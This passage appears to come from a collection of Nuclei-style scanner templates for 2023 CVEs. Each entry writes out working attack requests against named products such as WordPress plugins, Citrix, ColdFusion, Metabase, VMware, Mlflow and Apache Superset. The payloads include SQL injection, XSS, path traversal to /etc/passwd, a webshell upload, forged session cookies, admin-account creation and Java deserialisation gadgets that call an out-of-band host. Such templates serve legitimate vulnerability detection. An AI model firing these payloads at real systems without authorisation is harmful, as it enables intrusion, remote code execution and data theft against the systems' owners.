charset=UTF-8\n\naction=shoutbox-ajax-update-messages&last_timestamp=0)+UNION+ALL+SELECT+NULL,NULL,(SELECT+CONCAT(0x6338633630353939396633643833353264376262373932636633666462323562)),NULL,NULL,NULL,NULL,NULL--+&rooms%5B%5D=default\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["c8c605999f3d8352d7bb792cf3fdb25b","no_participation"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-24322","info":{"name":"mojoPortal 2.7.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Dialog/FileDialog.aspx?ed=foooooooooooooo%27);});});javascript:alert('document.domain');//g"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["javascript:alert('document.domain')","File Browser"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0261","info":{"name":"WordPress WP TripAdvisor Review Slider <10.8 - Authenticated SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 10s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\ncontent-type: application/x-www-form-urlencoded\n\naction=parse-media-shortcode&shortcode=[wptripadvisor_usetemplate+tid=\"1+AND+(SELECT+42+FROM+(SELECT(SLEEP(6)))b)\"]\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration_2>=6","status_code_2 == 200","contains(content_type_2, \"application/json\")","contains(body_2, \"\\\"data\\\":{\")"],"condition":"and"}]}]},{"id":"CVE-2023-34537","info":{"name":"Hoteldruid 3.0.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /inizio.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nvers_hinc=1&nome_utente_phpr={{username}}&password_phpr={{password}}\n","POST /creaprezzi.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nanno=2023&id_sessione=&tipotariffa=a19yc%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3emjf9oc2183m&inizioperiodosett1=2023-12-24&fineperiodosett1=2023-12-31&tipo_prezzo=sett&prezzosett=&prezzosettp=&prezzoperiodo1=&prezzoperiodo1p=&prezzoperiodo2=&prezzoperiodo2p=&prezzoperiodo3=&prezzoperiodo3p=&prezzoperiodo4=&prezzoperiodo4p=&prezzoperiodo5=&prezzoperiodo5p=&prezzoperiodo6=&prezzoperiodo6p=&prezzoperiodo7=&prezzoperiodo7p=&inserisci_settimanalmente=1\n"],"skip-variables-check":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"<script>alert(document.domain)</script>\")","contains(body_2, \"HotelDruid\")"],"condition":"and"}]}]},{"id":"CVE-2023-32235","info":{"name":"Ghost CMS < 5.42.1 - Path Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/assets/built%2F..%2F..%2F/package.json","{{BaseURL}}/assets/built%2F..%2F..%2F%E0%A4%A/package.json"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"name\"","\"version\"","\"ghost\""],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-2178","info":{"name":"Aajoda Testimonials < 2.2.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","POST /wp-admin/options-general.php?page=aajoda-testimonials HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naajodatestimonials_opt_hidden=Y&aajoda_version=2.0&aajodatestimonials_code=%22%3E%3C%2Ftextarea%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%0D%0A%0D%0A%0D%0A&Submit=Save\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"></textarea><script>alert(document.domain)</script>\")","contains(body_2, \"page_aajoda-testimonials\")"],"condition":"and"}]}]},{"id":"CVE-2023-23488","info":{"name":"WordPress Paid Memberships Pro <2.9.8 - Blind SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 30s\nGET /?rest_route=/pmpro/v1/order&code=a%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20- HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/paid-memberships-pro/js/updates.js HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration_1>=5","status_code_1 != 403","contains(body_2, \"pmpro_updates\")"],"condition":"and"}]}]},{"id":"CVE-2023-29300","info":{"name":"Adobe ColdFusion - Pre-Auth Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST ///CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nargumentCollection=<wddxPacket+version%3d'1.0'><header/><data><struct+type%3d'xcom.sun.rowset.JdbcRowSetImplx'><var+name%3d'dataSourceName'><string>{{jndi}}</string></var><var+name%3d'autoCommit'><boolean+value%3d'true'/></var></struct></data></wddxPacket>\n"],"matchers":[{"type":"dsl","dsl":["contains(interactsh_protocol, \"dns\")","contains(body, \"ColdFusion documentation\")"],"condition":"and"}]}]},{"id":"CVE-2023-24733","info":{"name":"PMB 7.4.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/pmb/admin/convert/export_z3950_new.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["3@1=<script>alert(document.domain)</script>@"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-24489","info":{"name":"Citrix ShareFile StorageZones Controller - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /documentum/upload.aspx?parentid={{url_encode(padding)}}&raw=1&unzip=on&uploadid={{fileName}}\\..\\..\\..\\cifs&filename={{fileName}}.aspx HTTP/1.1\nHost: {{Hostname}}\n\n<%@ Page Language=\"C#\" Debug=\"true\" Trace=\"false\" %>\n<script Language=\"c#\" runat=\"server\">\nvoid Page_Load(object sender, EventArgs e)\n{\n    Response.Write(\"{{randstr}}\");\n}\n</script>\n"],"payloads":{"padding":"helpers/payloads/citrix_paddings.txt"},"threads":30,"stop-at-first-match":true,"matchers":[{"type":"dsl","dsl":["body == \"ERROR: The method or operation is not implemented.\"","status_code == 200"],"condition":"and"}],"extractors":[{"type":"dsl","dsl":["BaseURL+ \"/cifs/\" + fileName + \".aspx\""]}]}]},{"id":"CVE-2023-34659","info":{"name":"JeecgBoot 3.5.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /jeecg-boot/jmreport/show HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\n\n{\"id\":\"961455b47c0b86dc961e90b5893bff05\",\"apiUrl\":\"\",\"params\":\"{\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(version())),1)) or '%%' like '\"}\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["XPATH syntax error:","SQLException"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0126","info":{"name":"SonicWall SMA1000 LFI","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/images//////////////////../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["content/unknown"]},{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-2356","info":{"name":"Mlflow <2.3.0 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /api/2.0/mlflow/registered-models/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"name\": \"{{str}}\"}\n","POST /api/2.0/mlflow/model-versions/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"name\": \"{{str}}\", \"source\": \"file://{{Hostname}}/../../../../../../../\"}\n","GET /model-versions/get-artifact?path=etc/passwd&name={{str}}&version={{version}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["\"version\": \"([0-9.]+)\","],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-2122","info":{"name":"Image Optimizer by 10web < 1.0.26 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=iowd_settings&msg=1&iowd_tabs_active=generalry8uo%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.domain)%3Ef0cmo HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type, \"text/html\")","contains(body_2, \"<img src=a onerror=alert(document.domain)>\")","contains(body_2, \"Image optimizer\")"],"condition":"and"}]}]},{"id":"CVE-2023-22480","info":{"name":"KubeOperator Foreground `kubeconfig` - File Download","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v1/clusters/kubeconfig/k8s"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["apiVersion:","clusters:"],"condition":"and"},{"type":"word","part":"header","words":["application/download"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-23491","info":{"name":"Quick Event Manager < 9.7.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=qem_ajax_calendar&category=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(header, \"text/html\")","contains(body, \"<script>alert(document.domain)</script>\")","contains(body, \"qem_calendar\")"],"condition":"and"}]}]},{"id":"CVE-2023-38646","info":{"name":"Metabase < 0.46.6.1 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /api/session/properties HTTP/1.1\nHost: {{Hostname}}\n","POST /api/setup/validate HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\n   \"token\":\"{{token}}\",\n   \"details\":{\n      \"details\":{\n         \"subprotocol\":\"h2\",\n         \"classname\":\"org.h2.Driver\",\n         \"advanced-options\":true,\n         \"subname\":\"mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '{{file}}'//\\\\;\"\n      },\n      \"name\":\"{{randstr}}\",\n      \"engine\":\"postgres\"\n   }\n}\n"],"extractors":[{"type":"json","part":"body_1","name":"token","json":[".[\"setup-token\"]"],"internal":true}],"matchers":[{"type":"dsl","dsl":["contains_any(body_2, \"Syntax error in SQL statement\",\"NoSuchFileException\")","status_code_2 == 400"],"condition":"and"}]}]},{"id":"CVE-2023-28665","info":{"name":"Woo Bulk Price Update <2.2.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin-ajax.php?action=techno_get_products&page=<svg%20onload=alert(document.domain)> HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"<svg onload=alert(document.domain)>\")","contains(body_2, \"pagination\\\":\")"],"condition":"and"}]}]},{"id":"CVE-2023-0669","info":{"name":"Fortra GoAnywhere MFT - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /goanywhere/lic/accept HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\n\nbundle={{concat(url_encode(base64(aes_cbc(base64_decode(generate_java_gadget(\"dns\", \"http://{{interactsh-url}}\", \"base64\")), base64_decode(\"Dmmjg5tuz0Vkm4YfSicXG2aHDJVnpBROuvPVL9xAZMo=\"), base64_decode(\"QUVTL0NCQy9QS0NTNVBhZA==\")))), '$2')}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["GoAnywhere"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2023-27524","info":{"name":"Apache Superset - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /api/v1/database/{{path}} HTTP/1.1\nHost: {{Hostname}}\nCookie: session={{session}}\n"],"payloads":{"path":["1","2","3","4","5","6","7","9","10"],"session":["eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFnng.XPeCvkBiP7rOv1PhgKZ8xkzi2jk","eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFu3g.k_WNoBY1ouhQyOXa5UcYdjVVuq0","eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_fg.KalpJbMq1SZPCBuunG9-ycDX9HM","eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_zQ.FPiBfT39gn2slf--XZHsk0rByEY","eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKHAPQ.zRjwotMHJES3eW8fJH8F_5GlD-U"]},"attack":"clusterbomb","stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"database_name\":","\"configuration_method\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-24488","info":{"name":"Citrix Gateway and Citrix ADC - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E","{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script>"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<body x='&'onload=\"(alert)('citrix akamai bypass')\">","<script>alert(document.domain)</script>"],"condition":"or"},{"type":"word","part":"body","words":["Content-Type: text/html"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2023-27372","info":{"name":"SPIP - Remote Command Execution","severity":"critical"},"requests":[{"raw":["GET /spip.php?page=spip_pass HTTP/1.1\nHost: {{Hostname}}\n","POST /spip.php?page=spip_pass HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\npage=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:\"<?php phpinfo(); ?>\";\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["PHP Extension","PHP Version","<!DOCTYPE html"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name='formulaire_action_args'[^>]*value='([^']*)'"],"internal":true,"part":"body_1"},{"type":"regex","group":1,"regex":[">PHP Version <\\/td><td class=\"v\">([0-9.]+)"],"part":"body_2"}]}]},{"id":"CVE-2023-2780","info":{"name":"Mlflow <2.3.1 - Local File Inclusion Bypass","severity":"critical"},"requests":[{"raw":["POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json; charset=utf-8\n\n{\"name\":\"{{randstr}}\"}\n","POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json; charset=utf-8\n\n{\"name\":\"{{randstr}}\",\"source\":\"file://./etc\"}\n","GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version={{version}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["\"version\": \"([0-9.]+)\","],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-30256","info":{"name":"Webkul QloApps 1.5.2 - Cross-site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(document.domain)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["xss onfocus=alert(document.domain) autofocus= xss","hasConfirmation"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-37270","info":{"name":"Piwigo 13.7.0 - SQL Injection","severity":"high"},"requests":[{"raw":["POST /identification.php HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: '\">{{7*7}}${2*2}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}&login=\n","GET /admin.php?page=user_activity HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["Warning: [mysql error","INSERT  INTO","SQL syntax;"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-24044","info":{"name":"Plesk Obsidian <=18.0.49 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login.php"],"headers":{"Host":"evil.com"},"matchers-condition":"and","matchers":[{"type":"word","part":"location","words":["https://evil.com/login_up.php"]},{"type":"status","status":[303]}]}]},{"id":"CVE-2023-29623","info":{"name":"Purchase Order Management v1.0 - Cross Site Scripting (Reflected)","severity":"medium"},"requests":[{"raw":["POST /classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername={{randstr}}&password=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<img src=x onerror=alert(document.domain)>","incorrect"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-28121","info":{"name":"WooCommerce Payments - Unauthorized Admin Access","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nX-WCPAY-PLATFORM-CHECKOUT-USER: 1\nContent-Type: application/x-www-form-urlencoded\n\nrest_route=%2Fwp%2Fv2%2Fusers&username={{username}}&email={{email}}&password={{password}}&roles=administrator\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"registered_date\":","\"username\":","\"email\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[201]}],"extractors":[{"type":"dsl","dsl":["\"WP_USERNAME: \"+ username","\"WP_PASSWORD: \"+ password"]}]}]},{"id":"CVE-2023-31548","info":{"name":"ChurchCRM v4.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /session/begin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nUser={{username}}&Password={{password}}\n","POST /FundRaiserEditor.php?linkBack=&FundRaiserID=-1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nFundRaiserSubmit=Save&Date=2023-06-24&Title=%22+onfocus%3D%22alert%28document.domain%29%22+autofocus%3D%22&Description=test\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"onfocus=\\\"alert(document.domain)\\\" autofocus=\\\"\\\"></td>\")","contains(body_2, \"ChurchCRM\")"],"condition":"and"}]}]},{"id":"CVE-2023-35844","info":{"name":"Lightdash version <= 0.510.3 Arbitrary File Read","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v1/slack/image/slack-image{{repeat('%2F..', 3)}}%2Fetc%2Fpasswd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0948","info":{"name":"WordPress Japanized for WooCommerce <2.5.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=peachpay&tab=field&\"><script>alert(document.domain)</script> HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type, \"text/html\")","contains(body_2, \"<script>alert(document.domain)</script>\")","contains(body_2, \"peachpay\")"],"condition":"and"}]}]},{"id":"CVE-2023-20887","info":{"name":"VMware VRealize Network Insight - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /saas./resttosaasservlet HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-thrift\n\n[1,\"createSupportBundle\",1,0,{\"1\":{\"str\":\"1111\"},\"2\":{\"str\":\"`{{cmd}}`\"},\"3\":{\"str\":\"value3\"},\"4\":{\"lst\":[\"str\",2,\"AAAA\",\"BBBB\"]}}]\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"rec\":"]},{"type":"word","part":"header","words":["application/x-thrift"]},{"type":"word","part":"body","negative":true,"words":["Provided invalid node Id","Invalid nodeId"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-0099","info":{"name":"Simple URLs < 115 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-content/plugins/simple-urls/admin/assets/js/import-js.php?search=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body, \"</script><svg/onload=alert(document.domain)>\")","contains(body_2, \"search_term\")"],"condition":"and"}]}]},{"id":"CVE-2023-38205","info":{"name":"Adobe ColdFusion - Access Control Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["([0-9a-fA-F]{32},){2}[0-9a-fA-F]{32}"]},{"type":"dsl","dsl":["contains(content_type, \"text/html\")","status_code == 200","len(trim_space(body)) == 106"],"condition":"and"}]}]},{"id":"CVE-2023-37462","info":{"name":"XWiki Platform - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/bin/view/%22%5d%5d%20%7b%7b%61%73%79%6e%63%20%61%73%79%6e%63%3d%22%74%72%75%65%22%20%63%61%63%68%65%64%3d%22%66%61%6c%73%65%22%20%63%6f%6e%74%65%78%74%3d%22%64%6f%63%2e%72%65%66%65%72%65%6e%63%65%22%7d%7d%7b%7b%70%79%74%68%6f%6e%7d%7d%70%72%69%6e%74%28%33%37%32%34%33%34%38%20%2a%20%38%34%37%33%33%33%34%29%7b%7b%2f%70%79%74%68%6f%6e%7d%7d%7b%7b%2f%61%73%79%6e%63%7d%7d?sheet=SkinsCode.XWikiSkinsSheet&xpage=view","{{BaseURL}}/asyncrenderer/{{url}}?clientId={{id}}&timeout=500&wiki=xwiki"],"cookie-reuse":true,"skip-variables-check":true,"extractors":[{"type":"regex","group":1,"name":"id","regex":["data-xwiki-async-client-id=\"(.+?)\""],"internal":true},{"type":"regex","group":1,"name":"url","regex":["<span class=\"xwiki-async\" data-xwiki-async-id=\"(.+?)\""],"internal":true}],"matchers":[{"type":"dsl","dsl":["body_2 == \"31557644536232\"","contains(header_2, \"text/html\")","status_code_2 == 200"],"condition":"and"}]}]},{"id":"CVE-2023-26255","info":{"name":"STAGIL Navigation for Jira Menu & Themes <2.0.52 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/servlet/snjCustomDesignConfig?fileName=../dbconfig.xmlpasswd&fileMime=$textMime"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<jira-database-config>"]},{"type":"word","part":"header","words":["$textMime"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-20889","info":{"name":"VMware Aria Operations for Networks - Code Injection Information Disclosure Vulnerability","severity":"high"},"requests":[{"raw":["POST /api/auth/login HTTP/2\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\nX-Vrni-Csrf-Token: null\n\n{\"username\":\"{{username}}\",\"password\":\"{{password}}\",\"domain\":\"localdomain\"}\n","POST /api/pdfexport HTTP/2\nHost: {{Hostname}}\nX-Vrni-Csrf-Token: {{csrf}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFkpSYDWZ5w9YNjmh\n\n------WebKitFormBoundaryFkpSYDWZ5w9YNjmh\nContent-Disposition: form-data; name=\"{{randstr}}\"\n\n<!DOCTYPE HTML>\n<html>\n<head>\n<title>Test\n\n\n
\n\n\n------WebKitFormBoundaryFkpSYDWZ5w9YNjmh--\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns","http"]},{"type":"word","part":"header_2","words":["application/octet-stream"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["csrfToken\":\"([a-z0-9A-Z/+=]+)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-22620","info":{"name":"SecurePoint UTM 12.x Session ID Leak","severity":"high"},"requests":[{"raw":["POST /spcgi.cgi HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json; charset=UTF-8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\n\n{\"module\":\"auth\",\"command\":[\"login\"],\"sessionid\":\"\",\"arguments\":{\"user\":\"\",\"pass\":\"\"}}\n","POST /spcgi.cgi HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json; charset=UTF-8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\n\n{\"module\":\"system\",\"command\":[\"config\",\"get\"],\"sessionid\":\"{{session}}\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["\"status\":\"OK\""]},{"type":"word","part":"header_2","words":["application/json"]}],"extractors":[{"type":"regex","name":"session","group":1,"regex":["\"sessionid\": \"([a-z0-9]+)\""],"internal":true}]}]},{"id":"CVE-2023-27159","info":{"name":"Appwrite <=1.2.1 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/v1/avatars/favicon?url=http://{{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: Appwrite-Server"]}]}]},{"id":"CVE-2023-0527","info":{"name":"Online Security Guards Hiring System - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /search-request.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsearchdata=&search=\n"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains(body, \"\")","contains(body, \"Online Security Gauard Hiring System |Search Request\")"],"condition":"and"}]}]},{"id":"CVE-2023-20864","info":{"name":"VMware Aria Operations for Logs - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /csrf HTTP/1.1\nHost: {{Hostname}}\nX-Csrf-Token: Fetch\n","POST /api/v2/internal/cluster/applyMembership HTTP/1.1\nHost: {{Hostname}}\nX-CSRF-Token: {{xcsrftoken}}\nContent-type: application/octet-stream\n\n{{generate_java_gadget(\"dns\", \"http://{{interactsh-url}}\", \"raw\")}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["\"errorMessage\":\"Internal error"]}],"extractors":[{"type":"kval","name":"xcsrftoken","group":1,"internal":true,"kval":["X_CSRF_Token"]}]}]},{"id":"CVE-2023-26843","info":{"name":"ChurchCRM 4.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /session/begin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nUser={{username}}&Password={{password}}\n","POST /NoteEditor.php?FamilyID=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nPersonID=0&FamilyID=1&NoteID=&NoteText=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&Submit=Save\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \">\")","contains(body_2, \"ChurchCRM\")"],"condition":"and"}]}]},{"id":"CVE-2023-29887","info":{"name":"Nuovo Spreadsheet Reader 0.5.11 - Local File 